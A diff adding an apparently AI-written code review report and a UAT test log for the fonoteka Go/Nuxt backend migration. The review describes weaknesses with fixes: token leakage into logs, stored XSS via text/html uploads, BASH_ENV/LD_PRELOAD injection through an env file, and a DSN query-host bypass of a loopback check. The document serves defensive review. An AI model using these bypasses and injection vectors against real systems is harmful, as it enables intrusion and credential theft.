|
||||
|
||||
_Fixed: 2026-10-12T10:20:00Z_
|
||||
_Fixer: Claude (msd-code-fixer)_
|
||||
_Iteration: 1_
|
||||
@@ -0,0 +1,274 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
reviewed: 2026-10-11T22:16:58Z
|
||||
depth: standard
|
||||
files_reviewed: 43
|
||||
files_reviewed_list:
|
||||
- modules/surf/uploads.go
|
||||
- modules/surf/uploads_test.go
|
||||
- modules/surf/accesslog.go
|
||||
- modules/surf/accesslog_test.go
|
||||
- modules/surf/router.go
|
||||
- modules/surf/README.md
|
||||
- docs/services/storage.md
|
||||
- docs/services/logging.md
|
||||
- docs/setup/configuration.md
|
||||
- scripts/check-phase14.2.sh
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/database.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/plugin.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/routes.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service_db_test.go
|
||||
- ../fonoteka.go/scripts/dev-stack.sh
|
||||
- ../fonoteka.go/.env.dev.example
|
||||
- ../fonoteka.go/.gitignore
|
||||
- ../fonoteka.go/config/storage.yaml
|
||||
- ../fonoteka.go/config/http.yaml
|
||||
- ../fonoteka.go/README.md
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/fonotekaApi.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/smoke.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/login.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/fonoteka-item.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs
|
||||
findings:
|
||||
critical: 0
|
||||
warning: 9
|
||||
info: 11
|
||||
total: 20
|
||||
status: issues_found
|
||||
---
|
||||
|
||||
# Phase 14.2: Code Review Report
|
||||
|
||||
**Reviewed:** 2026-10-11T22:16:58Z
|
||||
**Depth:** standard
|
||||
**Files Reviewed:** 43 (three repositories)
|
||||
**Status:** issues_found
|
||||
|
||||
## Narrative Findings (AI reviewer)
|
||||
|
||||
## Summary
|
||||
|
||||
Reviewed the framework additions in summercms.go (the `storage.uploads.serve` route, the `http.access_log` request log, the router wiring, docs and the phase gate script), the fonoteka.go glue (`fonoteka:dev-seed`, `commandDatabase`/`commandBucket`, the local-only marker route, `dev-stack.sh`, env template, config and README) and the vue-fonoteka-app e2e changes (Go seed switch, new and repaired specs, contract test).
|
||||
|
||||
The four security properties the phase cares about hold in their main form:
|
||||
- The marker route and the seed both depend on `console.DevEnvironment`. That function accepts only `local`/`dev`, and an unset `SUMMER_ENV` resolves to `production`. Tests cover the refusal cases.
|
||||
- `attach.parsePublicBlobPath` and the `is_public` lookup block path traversal and private files on the uploads route. I checked this against `lagoon/attach/static.go` and `file.go`.
|
||||
- A matched route never logs its query string, headers or raw path.
|
||||
|
||||
I found no BLOCKER. I did find nine WARNINGs:
|
||||
- The access log's "no tokens in paths" promise breaks for 405 and 404 responses.
|
||||
- The 499 remap can hide real 5xx responses from the gate.
|
||||
- The uploads route serves a stored `text/html` content type on the app origin.
|
||||
- `public_path_prefix` is not validated: a prefix that is not a path fails to mount, either loudly at boot or silently as 404s.
|
||||
- The seed can take over existing accounts and tokens.
|
||||
- The minted API token secret is written to a group/world-readable file.
|
||||
- The gate can test a stale binary, and its 5xx log scan passes when the access log is off.
|
||||
- The realtime spec can pass on another spec's publication.
|
||||
|
||||
## Warnings
|
||||
|
||||
### WR-01: Access log writes share and invitation tokens for 405 and 404 responses on token routes
|
||||
|
||||
**File:** `modules/surf/accesslog.go:70-72` (docs: `docs/services/logging.md` "Request log", `modules/surf/README.md`)
|
||||
**Issue:** `path` is added whenever `entry.pattern == ""`. For a path that a token route matches but with another method, ServeMux answers 405 before any route handler runs, so `recordPattern` never fires. I verified this: `POST /public/secret-token` against `GET /public/{token}` returns 405. The same happens for a trailing-slash variant (`/public/<token>/`, 404) and for an OPTIONS request to a non-CORS path. fonoteka has bearer-secret paths of exactly this kind:
|
||||
- `GET /_fonoteka/api/v1/public/{token}` and `public-wishlist/{token}`
|
||||
- `GET /_fonoteka/api/v1/invitations/{token}`
|
||||
- `POST /invitations/{token}/accept`, where a GET answers 405
|
||||
|
||||
So `POST /_fonoteka/api/v1/public/<share-token>` puts the share token into the log. The docs say the opposite: "the raw path of a matched route [is never logged] because tokens often travel in paths". Sunscreen redacts by key and pattern, not by a `path` value.
|
||||
**Fix:** Log a path only when it cannot carry a route parameter, or redact the path segments. For example, log `path` only for a ServeMux 404 where no registered pattern matches any method, or replace every segment longer than N characters or matching a token shape with `{redacted}`:
|
||||
```go
|
||||
if entry.pattern == "" {
|
||||
attrs = append(attrs, slog.String("path", redactPathSegments(req.URL.Path)))
|
||||
}
|
||||
// redactPathSegments replaces segments that look like identifiers/tokens
|
||||
// (len >= 16, or [A-Za-z0-9_-]{8,} with a digit) with "{redacted}".
|
||||
```
|
||||
Add a test case with `POST /blog/posts/<secret>` (405) asserting the secret is absent. Fix the docs sentence in the same commit.
|
||||
|
||||
### WR-02: 499 remap hides real server errors whenever the client has gone away
|
||||
|
||||
**File:** `modules/surf/accesslog.go:61-63`
|
||||
**Issue:** Every status >= 500 becomes 499 once the request context is cancelled, whatever caused the 5xx. A handler that panics, or that fails on a real DB or engine error, after the browser navigated away or Playwright closed the page, is logged as 499. That happens often: Nuxt aborts in-flight fetches on route change, and Playwright closes pages at the end of each test. `scripts/check-phase14.2.sh` `scan_go_log` (line 195) explicitly treats 499 as clean, so these real failures pass the gate. The comment's premise ("the error came from the cancellation") is assumed, not checked.
|
||||
**Fix:** Keep the real status and add a separate attribute, so a grep for 5xx still finds every error and cancelled ones can be filtered on purpose:
|
||||
```go
|
||||
attrs = append(attrs, slog.Int("status", status))
|
||||
if errors.Is(req.Context().Err(), context.Canceled) {
|
||||
attrs = append(attrs, slog.Bool("client_gone", true))
|
||||
}
|
||||
```
|
||||
If 499 is kept for nginx parity, apply it only when nothing was written, or record the original status as `upstream_status`, and have `scan_go_log` refuse `status=499` records that carry an upstream 5xx.
|
||||
|
||||
### WR-03: Uploads route serves the stored content type verbatim on the app origin (stored XSS via text/html)
|
||||
|
||||
**File:** `modules/surf/uploads.go:57-71` (behaviour in `modules/lagoon/attach/static.go:72-76`); docs claim in `docs/services/storage.md` "Serving files"
|
||||
**Issue:** The route answers with the blob's stored `Content-Type`. `attach.Store` stores `http.DetectContentType` of the bytes, so a `.txt` upload (in `DefaultFileExtensions`) whose body starts with `<html>` is stored as `text/html`. A cabana file field in non-image mode on a public relation therefore yields a public blob served as `text/html` on the application origin. `X-Content-Type-Options: nosniff` does not help when the declared type is already `text/html`, so the docs sentence "a browser does not sniff a stored file into HTML or script" overstates the protection. The Nuxt app keeps `auth_token` in a JS-readable cookie on that origin. nginx in the PHP setup served by extension (`.txt` as `text/plain`), so this is also a behaviour difference. D-19 says Phase 20 reuses this route.
|
||||
**Fix:** In `uploadsHandler`, add a sandboxing CSP and force download for anything outside an inline-safe allowlist:
|
||||
```go
|
||||
w.Header().Set("X-Content-Type-Options", "nosniff")
|
||||
w.Header().Set("Content-Security-Policy", "default-src 'none'; img-src 'self'; media-src 'self'; sandbox")
|
||||
// after the type is known (wrap the ResponseWriter or move into attach):
|
||||
// if !inlineSafe(ct) { w.Header().Set("Content-Disposition", "attachment") }
|
||||
```
|
||||
`inlineSafe` should cover image/jpeg, png, gif, webp, audio/*, video/* and application/pdf. Correct the docs sentence.
|
||||
|
||||
### WR-04: `storage.uploads.public_path_prefix` is not validated: a non-path prefix either fails boot or silently 404s every upload
|
||||
|
||||
**File:** `modules/surf/uploads.go:38-51`
|
||||
**Issue:** The prefix is only trimmed. `joinPath` does not add a leading slash, so ServeMux treats whatever comes before the first `/` as a host pattern. I checked both cases:
|
||||
- `storage/app/uploads/public` (no leading slash, a plausible WinterCMS-style value) registers `GET storage/app/uploads/public/{path...}` with host `storage`. It never matches, so every cover silently 404s.
|
||||
- An absolute CDN URL (`https://cdn.example.com/uploads`) panics in ServeMux. `handleRoute` reports this as a misleading "route conflict" error.
|
||||
|
||||
A prefix containing `{` or `}` would also be parsed as a wildcard. The ownership check at line 43 compares against the same unnormalized prefix.
|
||||
**Fix:** Validate when mounting and fail boot with a clear error:
|
||||
```go
|
||||
if !strings.HasPrefix(prefix, "/") || strings.ContainsAny(prefix, "{}") || strings.Contains(prefix, "//") {
|
||||
return fmt.Errorf("surf: storage.uploads.serve needs storage.uploads.public_path_prefix to be an absolute path such as /storage/uploads, got %q", prefix)
|
||||
}
|
||||
```
|
||||
Add test cases for `storage/uploads` and `https://cdn/x`.
|
||||
|
||||
### WR-05: `fonoteka:dev-seed` takes over existing accounts and tokens behind a single environment-name gate
|
||||
|
||||
**File:** `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:72-78, 329-386, 258-280`
|
||||
**Issue:** The only safeguard is `SUMMER_ENV` (`local` or `dev`), which can also come from a `.env` file next to the config. Inside that gate the seed changes existing accounts without saying so:
|
||||
- **Existing user:** any user whose email equals `E2E_EMAIL` gets their password reset to `E2E_PASSWORD`, with the default `changeme`. The seed also activates them and clears `must_change_password`.
|
||||
- **Existing token:** with `DEV_SEED_API_TOKEN` set, an existing `user_api_tokens` row with that hash, owned by any user, is reassigned to the seed user and un-revoked. The `unchanged` check ignores `scopes`.
|
||||
- **The `dev` environment:** `dev` is a common name for shared, network-reachable servers. On such a server the seed creates `demo@example.com` / `changeme` with a `read write ai` API token.
|
||||
|
||||
Phase 20 imports production data, and a local copy of it plus this seed is the likely way a real account gets overwritten.
|
||||
**Fix:** Add a second, data-based guard before opening the transaction. Refuse when the DSN host is not loopback (the same rule dev-stack.sh applies), and refuse to modify an existing user that the seed did not create unless `--force` is passed. One way is to mark seeded users, for example by checking for the `dev-seed-mcp` token. Never reassign a token row owned by another user: refuse instead. Consider dropping `dev` from the allowed set or documenting it as local-only.
|
||||
|
||||
### WR-06: Minted API token secret persisted to a group/world-readable file and echoed into Playwright output
|
||||
|
||||
**File:** `../fonoteka.go/scripts/dev-stack.sh:334`; `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:309`; `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts:129-133`
|
||||
**Issue:** On creation the seed prints `api token: created inv_<secret> (shown once)`. `seed()` tees all seed output to `tmp/dev-stack/seed.out`, which is mode 664 in a 775 directory on this machine. This host has several users (`jin` owns the Nuxt checkout, `golem` runs the stack), so any local user can read a `read write ai` token and use it against `127.0.0.1:8423`. With the `ai` scope that spends the developer's configured AI keys. `seedE2EFixtures` runs the seed with `stdio: 'inherit'`, so a first-run secret also lands in Playwright and CI output. The README says the script "never prints a value".
|
||||
**Fix:** Create the file with a restrictive umask, and filter the secret before writing it:
|
||||
```bash
|
||||
( umask 077; cd "$APP" && TMPDIR="$GO_TMP" bin/fonoteka fonoteka:dev-seed 2>&1 | tee "$RUN/seed.out" )
|
||||
```
|
||||
In runTinker.ts, use `stdio: ['ignore', 'pipe', 'inherit']` and drop lines matching `/api token: created/` before echoing. Alternatively, have the seed write the secret only to the terminal, for example behind a `--show-token` flag.
|
||||
|
||||
### WR-07: Phase gate `--e2e` can verify a stale binary
|
||||
|
||||
**File:** `scripts/check-phase14.2.sh:513-534` (with `../fonoteka.go/scripts/dev-stack.sh:538-546`)
|
||||
**Issue:** When `dev-stack.sh status` succeeds, the gate reuses the running stack. `up --detach` then prints `already up` and returns without `summer build`, migrate or seed. The Playwright and go.log stages then exercise whatever binary was started earlier, possibly before the commits under review. Plan 04's SUMMARY admits the stack had to be restarted by hand so the binary would include the plan's framework change. A gate that can pass on old code does not fail closed.
|
||||
**Fix:** Pick one of these:
|
||||
- Always `down` and `up --detach` in `--e2e`.
|
||||
- Record the git HEADs of summercms.go and fonoteka.go (and `bin/fonoteka` mtime or `go version -m`) in `tmp/dev-stack/build.id` at `up` time, and have `--e2e` refuse when they differ from the current HEADs.
|
||||
|
||||
### WR-08: go.log 5xx scan passes when the access log is off
|
||||
|
||||
**File:** `scripts/check-phase14.2.sh:189-201`
|
||||
**Issue:** `scan_go_log` refuses only when it finds `status=5xx` or the search-failure line. If the developer's `.env.dev` lacks `SUMMER_HTTP__ACCESS_LOG=true`, there are no `http request` records at all, and the scan passes on an empty signal. `config/http.yaml` defaults the key to `false`, and dev-stack.sh does not require it (it is not in `REQUIRED_KEYS`).
|
||||
**Fix:** Require evidence that the log was produced by this run:
|
||||
```bash
|
||||
grep -q 'msg="http request"' "$file" || { echo "refuse: $file has no http request records; set SUMMER_HTTP__ACCESS_LOG=true" >&2; return 1; }
|
||||
```
|
||||
Also add `SUMMER_HTTP__ACCESS_LOG` (and `SUMMER_STORAGE__UPLOADS__SERVE`) to `REQUIRED_KEYS`, or export them in `start_go`.
|
||||
|
||||
### WR-09: Realtime spec accepts any publication on the channel, including another spec's
|
||||
|
||||
**File:** `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts:114-119`
|
||||
**Issue:** The live assertion is `received.some(m => m.push?.channel === channel && m.push.pub !== undefined)`. It is evaluated over all frames received since the socket opened, before and after `createAlbum`. Other gate specs create albums in the same user's collection (`album-search` creates two, `album-edit-rate-cover` and `fonoteka-item` one each). If they run in parallel workers, or a previous push is still buffered, the test passes even when the album this spec created publishes nothing. The test can therefore pass without proving that this spec's write published anything.
|
||||
**Fix:** Snapshot the frame count before the write and match the created album:
|
||||
```ts
|
||||
const before = received.length
|
||||
const id = await createAlbum(page, `E2E Realtime ${Date.now()}`)
|
||||
await expect.poll(() => received.slice(before).some(m =>
|
||||
m.push?.channel === channel && JSON.stringify(m.push.pub ?? {}).includes(`"id":${id}`)), ...).toBe(true)
|
||||
```
|
||||
|
||||
## Info
|
||||
|
||||
### IN-01: Env file parser exports arbitrary keys, so "never executed" is not quite true
|
||||
|
||||
**File:** `../fonoteka.go/scripts/dev-stack.sh:129-150`
|
||||
**Issue:** Any `KEY=value` is exported, including `BASH_ENV`, `LD_PRELOAD`, `PATH` and `NODE_OPTIONS`. The `setsid bash -c` children source `$BASH_ENV`, so an env file line can still run code, which contradicts the comment and the README.
|
||||
**Fix:** Export only keys matching `^(SUMMER_|NUXT_|E2E_|DEV_STACK_|DEV_SEED_)` and refuse others by name.
|
||||
|
||||
### IN-02: Postgres loopback check can be bypassed by `hostaddr` or a query `host`
|
||||
|
||||
**File:** `../fonoteka.go/scripts/dev-stack.sh:215-241`
|
||||
**Issue:** For URI DSNs, a query `host=` is used only when the netloc host is empty, but pgx lets query parameters override the netloc. `postgres://u:p@localhost/db?host=prod.example` therefore passes the check and connects remotely. `hostaddr=` is ignored in both URI and key=value forms.
|
||||
**Fix:** Let the query `host` override, check `hostaddr` as well, and refuse multi-host values.
|
||||
|
||||
### IN-03: `down` signals recorded process groups without checking they are still this stack's
|
||||
|
||||
**File:** `../fonoteka.go/scripts/dev-stack.sh:582-592`
|
||||
**Issue:** After a crash or reboot, a recycled pgid in `tmp/dev-stack/pids` makes `down` send TERM and then KILL to an unrelated process group.
|
||||
**Fix:** Record the start time or command line with the pgid (`ps -o lstart= -p`), and compare it before killing.
|
||||
|
||||
### IN-04: Seed validates `DEV_SEED_API_TOKEN` only after writing cover blobs, leaving orphans on refusal
|
||||
|
||||
**File:** `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:168-197, 258-261`
|
||||
**Issue:** `StoreAlbumPhoto` writes blobs before rows (see `attach.Store`'s contract). A bad `DEV_SEED_API_TOKEN` rolls back the transaction after three covers are written, and the files stay under `storage/app/uploads/public`. The same happens for any later failure.
|
||||
**Fix:** Validate `DEV_SEED_API_TOKEN` and the token prefix before `lagoon.Transaction`. On rollback, delete the keys the run stored.
|
||||
|
||||
### IN-05: Seed's token "unchanged" check ignores expiry and scopes
|
||||
|
||||
**File:** `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:292-300`
|
||||
**Issue:** An expired or narrowed `dev-seed-mcp` token counts as present, so no usable token is minted and no secret is shown.
|
||||
**Fix:** Add `(expires_at IS NULL OR expires_at > now())` to the query, and compare scopes.
|
||||
|
||||
### IN-06: `marker_ok` does not check the app name
|
||||
|
||||
**File:** `../fonoteka.go/scripts/dev-stack.sh:369`
|
||||
**Issue:** Any SummerCMS app (for example another `sm-*-app` on the same port) passes `marker_ok` and `guard_marker` (`.backend == "summercms"` only).
|
||||
**Fix:** Check `.backend == "summercms" and .app == "fonoteka"`.
|
||||
|
||||
### IN-07: statusRecorder records a 1xx informational status as the final status
|
||||
|
||||
**File:** `modules/surf/accesslog.go:106-111`
|
||||
**Issue:** A handler that sends `103 Early Hints` and then 200 is logged with status 103.
|
||||
**Fix:** Record only when `status >= 200` (or overwrite while `w.status < 200`).
|
||||
|
||||
### IN-08: Gate header overstates what the whole-suite Go runs check
|
||||
|
||||
**File:** `scripts/check-phase14.2.sh:3-5, 331-348`
|
||||
**Issue:** The header says every stage fails on a go test run that "skips". The `go test ./...` runs in all three modules do not go through `detect`; only the named tests do.
|
||||
**Fix:** Reword the header, or run the whole suites through `go_json` with an allowlist for intended skips.
|
||||
|
||||
### IN-09: Hard-coded absolute developer path in a framework script
|
||||
|
||||
**File:** `scripts/check-phase14.2.sh:51`
|
||||
**Issue:** `PHASE142_NUXT` defaults to `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app`, which ties the framework repo to one machine layout. dev-stack.sh already requires `DEV_STACK_NUXT_DIR` from the env file.
|
||||
**Fix:** Default to `$DEV_STACK_NUXT_DIR`, or refuse when `PHASE142_NUXT` is unset.
|
||||
|
||||
### IN-10: Search spec relies on the "other" album appearing on the first page after clearing
|
||||
|
||||
**File:** `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts:46-47`
|
||||
**Issue:** On a collection that has grown (left-over albums from failed runs, real data in the seeded user's collection), the freshly created `other` album may fall off the first page, depending on the list's sort and page size. The spec then becomes order-dependent.
|
||||
**Fix:** Assert that the list is unfiltered another way (for example, the result count grows back), or search for `E2E Other ${stamp}` in a second step.
|
||||
|
||||
### IN-11: Test cleanups ignore errors; `goDir` mis-resolves a relative `E2E_GO_BIN`
|
||||
|
||||
**File:** `../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go:106-111`; `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts:48-51`
|
||||
**Issue:**
|
||||
- **Test cleanup:** `TestDevSeedOpensDatabase` deletes `users` with the errors ignored. A foreign-key refusal leaves the seeded collections, albums and tokens in the shared container.
|
||||
- **`goDir`:** `path.resolve(path.dirname(bin), '..')` resolves a relative `E2E_GO_BIN` against the Nuxt checkout's working directory, not the app's.
|
||||
|
||||
**Fix:** Check the cleanup `Exec(...).Error` with `t.Errorf`, and delete dependents first. Resolve `E2E_GO_BIN` to an absolute path, or refuse a relative one.
|
||||
|
||||
---
|
||||
|
||||
_Reviewed: 2026-10-11T22:16:58Z_
|
||||
_Reviewer: Claude (msd-code-reviewer)_
|
||||
_Depth: standard_
|
||||
@@ -0,0 +1,138 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
plan: 03
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 14.2 UAT: vue-fonoteka-app on the local Go backend
|
||||
|
||||
This file records the D-13 manual session (plan 03, Task 4) and the D-11 PHP cross-check of the plan 03 specs.
|
||||
|
||||
## Automated evidence (plan 03, Tasks 1 and 3)
|
||||
|
||||
- Go gate subset (D-15) through `fonoteka.go/scripts/dev-stack.sh e2e`. Specs: `auth.setup.ts`, `login.spec.ts`, `smoke.spec.ts`, `fonoteka-item.spec.ts`, `public-share.spec.ts`, `realtime.spec.ts`, `i18n.spec.ts`, `album-edit-rate-cover.spec.ts`, `album-search.spec.ts`, `wishlist.spec.ts`. Result: `expected=17 unexpected=0 skipped=0 flaky=0`, `e2e-verdict: passed`.
|
||||
- The realtime live test passed against the shared Centrifugo after the D-18/D-23 operator step: a connect reply, an error-free `collection:` subscribe and a push on that channel after an API album create.
|
||||
- Commits tested: vue-fonoteka-app `c1f323a`; fonoteka.go `7675d64`.
|
||||
- Re-run after the session fixes (2026-10-11): the same 10 spec files give `expected=17 unexpected=0 skipped=0 flaky=0`, `e2e-verdict: passed`. Tested with fonoteka.go `807dfdb`, summercms.go `4660f95`, vue-fonoteka-app `c1f323a`. Afterwards `grep -cE 'status=5[0-9]{2}' tmp/dev-stack/go.log` printed 0.
|
||||
|
||||
## PHP cross-check (Task 3): deferred
|
||||
|
||||
The plan 03 specs could not be checked against PHP automatically on 2026-10-11.
|
||||
|
||||
- **What PHP did:** PHP started. `php artisan serve --host=127.0.0.1 --port=8422` in `/media/nvme/dev/golem15/fonoteka` answered the probe `GET http://127.0.0.1:8422/_fonoteka/api/v1/albums` with `HTTP/1.1 401 Unauthorized` and `X-Powered-By: PHP/8.5.10`, so the verify took branch A.
|
||||
- **Why the run did not count:** no PHP E2E credentials are available to the executor. `E2E_EMAIL` and `E2E_PASSWORD` were still unset after Playwright loaded `tests/e2e/.env.local` and `tests/e2e/.env`. `auth.setup.ts` therefore wrote an empty storage state, and the five specs skipped.
|
||||
- Report: `expected=1 unexpected=0 skipped=5 flaky=0`.
|
||||
- `e2e-verdict` refused it. It is **not** a PHP pass.
|
||||
- **Why the executor did not seed:** the Go seed user `demo@example.com` / `changeme` does not exist on PHP (`POST /_user/api/v1/login` answered 401). The executor did not create a user in the developer's PHP database. Seeding with `seedE2EFixtures()` in PHP mode runs `firstOrNew` on the e-mail, so it can reset the password of an existing user.
|
||||
|
||||
**Manual PHP check (Task 4, item 11).** Run it with the credentials of a PHP user whose collection may receive temporary `E2E …` albums. Every spec deletes what it creates.
|
||||
|
||||
```sh
|
||||
# Go stack stopped first: bash ../fonoteka.go/scripts/dev-stack.sh down
|
||||
cd /media/nvme/dev/golem15/fonoteka && php artisan serve --host=127.0.0.1 --port=8422 &
|
||||
cd /media/nvme/dev/golem15/summercms.io/summercms/summercms.go
|
||||
R=/tmp/php-e2e-14.2.json; rm -f "$R"
|
||||
env -u CI -u E2E_BACKEND E2E_EMAIL='<php user>' E2E_PASSWORD='<password>' \
|
||||
E2E_FRONTEND_URL=http://localhost:3119 E2E_BACKEND_URL=http://localhost:8422 E2E_CENTRIFUGO=1 \
|
||||
PLAYWRIGHT_JSON_OUTPUT_NAME="$R" pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app exec playwright test \
|
||||
auth.setup.ts realtime.spec.ts album-edit-rate-cover.spec.ts album-search.spec.ts wishlist.spec.ts \
|
||||
--project=chromium --reporter=json > /dev/null
|
||||
bash ../fonoteka.go/scripts/dev-stack.sh e2e-verdict "$R" # must print e2e-verdict: passed
|
||||
```
|
||||
|
||||
Item 11 passes only on a run with no skipped, unexpected or flaky test. Until then the plan stays open (D-11). The run was done at Task 4; see below.
|
||||
|
||||
## Manual session (Task 4, D-13)
|
||||
|
||||
Session by the developer on 2026-10-11 (about 20:10 to 20:20 local time) against the Go stack. Commits tested: fonoteka.go `7675d64`, summercms.go `66dbd5a` (framework), vue-fonoteka-app `c1f323a`. The session's Go log is kept as `fonoteka.go/tmp/dev-stack/go.log.uat-session-20261011`.
|
||||
|
||||
| # | Item | Result | Notes |
|
||||
|---|------|--------|-------|
|
||||
| 1 | Login lands outside /login | pass | |
|
||||
| 2 | Collections: "Moja kolekcja" lists Kind of Blue, Blue Train, Mingus Ah Um with covers | pass | |
|
||||
| 3 | Album detail page opens | pass | After an artist change the detail page keeps the old `artist_display`. Same as PHP: `Album.php` (around line 397) fills `artist_display` only when it is empty. See finding E. |
|
||||
| 4 | Search "Mingus" finds the album; no `album search engine failed` in go.log | pass | search_fail = 0 |
|
||||
| 5 | Edit name persists after reload | pass | Finding A below (empty artist field): fixed in fonoteka.go `d31e00a`. The developer re-verified it: Blue Train shows John Coltrane. |
|
||||
| 6 | Rating persists after reload | pass | |
|
||||
| 7 | Cover upload shows on the page | pass (re-verified) | Finding B: a new photo is appended and the first photo stays the main cover, as on PHP. The developer re-verified it. |
|
||||
| 8 | Wishlist add on /wishlist/new, then remove | pass | Also marked an existing entry purchased. |
|
||||
| 9 | Realtime: `collection:` subscribe without error; push frame after an edit in a second tab | pass (matches PHP) | See finding C. The subscribe reply had no error and the push arrived. |
|
||||
| 10 | No 5xx in go.log; no `X-Powered-By: PHP` through :3119 | pass after fix | The session failed it; see finding D. After the fix, go.log had 0 5xx lines. No PHP header; search_fail = 0. |
|
||||
| 11 | PHP cross-check | pass (by classification) | PHP: `expected=4 unexpected=2 skipped=0 flaky=0`; Go: all passed on the same specs. Both PHP failures come from the environment or the test fixture, not from a contract difference. See "PHP cross-check (Task 4, item 11)" below. |
|
||||
|
||||
### Finding A: the artist field in the edit form was empty (fixed in Go)
|
||||
|
||||
- **Symptom:** the collection view showed "John Coltrane" for Blue Train, but the Artist field of the edit form was empty.
|
||||
- **Cause:** `fonoteka:dev-seed` set only `artist_display` and attached no artist rows, so `GET /albums/3` answered `"artists":[]`. The edit form fills the field from `album.artists` (`utils/album-draft.ts`).
|
||||
- **Fix:** fonoteka.go `d31e00a`. The seed creates albums with `artists: [<name>]` through `classes.CreateAlbum`, the album form's path. A rerun attaches the artist to a seeded album that has no artist rows and reports `album …: updated`. `TestDevStackSmoke` covers both cases.
|
||||
- **After the fix:** the restart printed `album Kind of Blue: updated`, `album Blue Train: updated` and `wishlist album A Love Supreme: updated`. `GET /albums/3` now answers `artists: ["John Coltrane"]`. Mingus Ah Um already had the artist set during the session.
|
||||
- **Other write paths:** every non-seed album create goes through `classes.CreateAlbum`, the port of `AlbumWriteService::create`. That covers the album form, the wishlist form, bulk and CSV import. The create rules require `artists` (`required|array|min:1`, also per bulk row), as in PHP. The seed was the only path without artist rows.
|
||||
|
||||
### Finding B: a new cover does not become the main cover (matches PHP, not a Go defect)
|
||||
|
||||
- **Frontend:** both the edit gallery (`PhotoUploader.vue` `editHeroSrc`) and the detail page (`AlbumCoverGallery.vue` `hero`) show `photos[0]` as the main cover.
|
||||
- **PHP:** `Album::$attachMany['photos']` is ordered by `sort_order`, and Winter's `Sortable` trait sets `sort_order` to the new file id on create (`vendor/winter/storm/src/Database/Traits/Sortable.php`). A new photo is therefore appended, and the oldest photo stays the main cover.
|
||||
- **Go:** `classes.AttachAlbumPhoto` sets `sort_order = id`, and the DTO orders by `sort_order, id`.
|
||||
- **Reproduction on Go** (album with photo A, then photo B uploaded through the edit form):
|
||||
- API order is `[A, B]`.
|
||||
- In the edit page right after the upload, the hero is A and the strip is `[A, B]`.
|
||||
- After F5, the hero is still A.
|
||||
- The upload answer has the PHP shape: `201 {"data":{"id","url","thumb_url"}}`.
|
||||
- **The developer's session:** the log has two photo POSTs at 20:15:10 and 20:15:16, then `DELETE /albums/{id}/photos/{fileId}` at 20:15:23. The access log does not record the album id. The main cover changes only when `photos[0]` changes, for example when the older photo is deleted. That fits a new photo that showed as the main cover only later.
|
||||
- **Re-verify:** item 7 means "the uploaded photo shows on the page", and the photo appears in the strip at once. A new photo replacing the main cover is not PHP behaviour.
|
||||
|
||||
### Finding C: realtime push arrives, no UI refresh for the same user (frontend design, same on PHP)
|
||||
|
||||
- **The Go push frame on `collection:2`:** `{"event":"updated.fonoteka.album","payload":{"id","collection_id","action","actor":{"user_id":2,"name":"Demo"},"timestamp","album"},"timestamp"}`.
|
||||
- **The PHP publication:** the same keys at both levels. `CentrifugoClient::publish` sends `data: {event, payload, timestamp}`, and the payload comes from `Album::getBroadcastPayload` (`id`, `collection_id`, `action`, `actor`, `timestamp`, `album`).
|
||||
